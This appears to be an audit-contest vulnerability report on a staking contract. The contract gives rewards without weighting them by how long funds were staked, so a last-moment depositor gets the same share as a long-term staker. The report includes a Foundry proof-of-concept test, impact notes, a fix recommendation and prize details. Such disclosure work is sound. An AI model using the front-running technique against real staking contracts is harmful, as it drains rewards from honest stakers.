Submission Details
Severity:
Frontrun can get the full reward, no staking time required
Summary
Anyone can get all the rewards as long as they call deposit before the reward distribution, without a long time staking, after receiving the reward, the user can withdraw the collateral and conduct other transactions. This would result in no user being willing to keep staking collateral.
Vulnerability Details
// SPDX-License-Identifier: MIT
import "forge-std/Test.sol";
import "solady/src/tokens/ERC20.sol";
import "../src/Staking.sol";
contract SERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract StakingTest is Test {
SERC20 st;
SERC20 weth;
Staking staking;
function setUp() public {
st = new SERC20();
weth = new SERC20();
staking = new Staking(address(st), address(weth));
}
function testDeposit() public {
address alice = makeAddr("Alice");
address bob = makeAddr("Bob");
deal(address(st), address(alice), 2 ether);
deal(address(st), address(bob), 2 ether);
vm.startPrank(bob);
st.approve(address(staking), 2 ether);
staking.deposit(2 ether);
vm.stopPrank();
vm.roll(100);
vm.startPrank(alice);
st.approve(address(staking), 2 ether);
staking.deposit(2 ether);
vm.stopPrank();
deal(address(weth), address(staking), weth.balanceOf(address(staking)) + 1 ether);
vm.startPrank(alice);
staking.claim();
vm.stopPrank();
vm.startPrank(bob);
staking.claim();
vm.stopPrank();
// @audit Although Bob staking 100 blocks, Alice only needed to frontrun to get the same reward
assertEq(weth.balanceOf(alice), weth.balanceOf(bob));
}
}
Impact
Frontrun can get the full reward, which harms the interests of the staking users.
Tools Used
Foundry
Recommendations
Use time-weighted reward allocation algorithm.
Prize pool breakdown
Total prize
20,000 USDC
nSLOC
70628 USDC / LOC
18,000 USDC
2,000 USDC
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